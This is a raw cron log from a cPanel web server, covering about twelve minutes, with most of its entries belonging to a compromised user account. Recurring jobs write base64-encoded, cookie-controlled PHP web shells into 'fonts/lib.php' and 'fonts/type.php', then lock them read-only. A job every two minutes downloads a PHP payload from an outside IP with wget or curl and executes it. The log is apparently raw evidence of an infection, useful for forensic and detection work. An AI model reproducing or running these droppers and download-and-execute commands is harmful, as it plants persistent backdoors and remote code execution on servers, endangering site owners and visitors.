Aug 30 05:03:01 ip-184-168-122-23 CROND[17189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:03:01 ip-184-168-122-23 CROND[17191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:03:01 ip-184-168-122-23 CROND[17190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:04:01 ip-184-168-122-23 CROND[17355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:04:01 ip-184-168-122-23 CROND[17356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:04:01 ip-184-168-122-23 CROND[17354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:04:01 ip-184-168-122-23 CROND[17358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:04:01 ip-184-168-122-23 CROND[17357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:05:01 ip-184-168-122-23 CROND[17455]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 05:05:01 ip-184-168-122-23 CROND[17460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:05:01 ip-184-168-122-23 CROND[17462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:05:01 ip-184-168-122-23 CROND[17459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:05:01 ip-184-168-122-23 CROND[17458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:05:01 ip-184-168-122-23 CROND[17463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:05:01 ip-184-168-122-23 CROND[17457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:06:01 ip-184-168-122-23 CROND[17564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:06:01 ip-184-168-122-23 CROND[17566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:06:01 ip-184-168-122-23 CROND[17568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:06:01 ip-184-168-122-23 CROND[17569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:06:01 ip-184-168-122-23 CROND[17567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:07:01 ip-184-168-122-23 CROND[17758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:07:01 ip-184-168-122-23 CROND[17761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:07:01 ip-184-168-122-23 CROND[17763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:07:01 ip-184-168-122-23 CROND[17762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:08:01 ip-184-168-122-23 CROND[17948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:08:01 ip-184-168-122-23 CROND[17947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:08:01 ip-184-168-122-23 CROND[17950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:08:01 ip-184-168-122-23 CROND[17951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:08:01 ip-184-168-122-23 CROND[17955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:09:01 ip-184-168-122-23 CROND[18152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:09:01 ip-184-168-122-23 CROND[18153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:09:01 ip-184-168-122-23 CROND[18155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:09:01 ip-184-168-122-23 CROND[18156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:09:01 ip-184-168-122-23 CROND[18154]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 05:10:01 ip-184-168-122-23 CROND[18433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:10:01 ip-184-168-122-23 CROND[18436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:10:01 ip-184-168-122-23 CROND[18438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:10:01 ip-184-168-122-23 CROND[18439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:10:01 ip-184-168-122-23 CROND[18442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:10:01 ip-184-168-122-23 CROND[18441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:10:01 ip-184-168-122-23 CROND[18440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:10:01 ip-184-168-122-23 CROND[18445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:11:01 ip-184-168-122-23 CROND[18602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:11:01 ip-184-168-122-23 CROND[18604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:11:01 ip-184-168-122-23 CROND[18603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:11:01 ip-184-168-122-23 CROND[18605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:12:01 ip-184-168-122-23 CROND[18685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:12:01 ip-184-168-122-23 CROND[18687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:12:02 ip-184-168-122-23 CROND[18689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:12:02 ip-184-168-122-23 CROND[18688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:12:02 ip-184-168-122-23 CROND[18691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:13:01 ip-184-168-122-23 CROND[18991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:13:01 ip-184-168-122-23 CROND[18992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:13:01 ip-184-168-122-23 CROND[18994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:13:01 ip-184-168-122-23 CROND[18995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:14:01 ip-184-168-122-23 CROND[19083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:14:01 ip-184-168-122-23 CROND[19086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:14:01 ip-184-168-122-23 CROND[19087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:14:01 ip-184-168-122-23 CROND[19085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:14:01 ip-184-168-122-23 CROND[19088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:15:01 ip-184-168-122-23 CROND[19259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
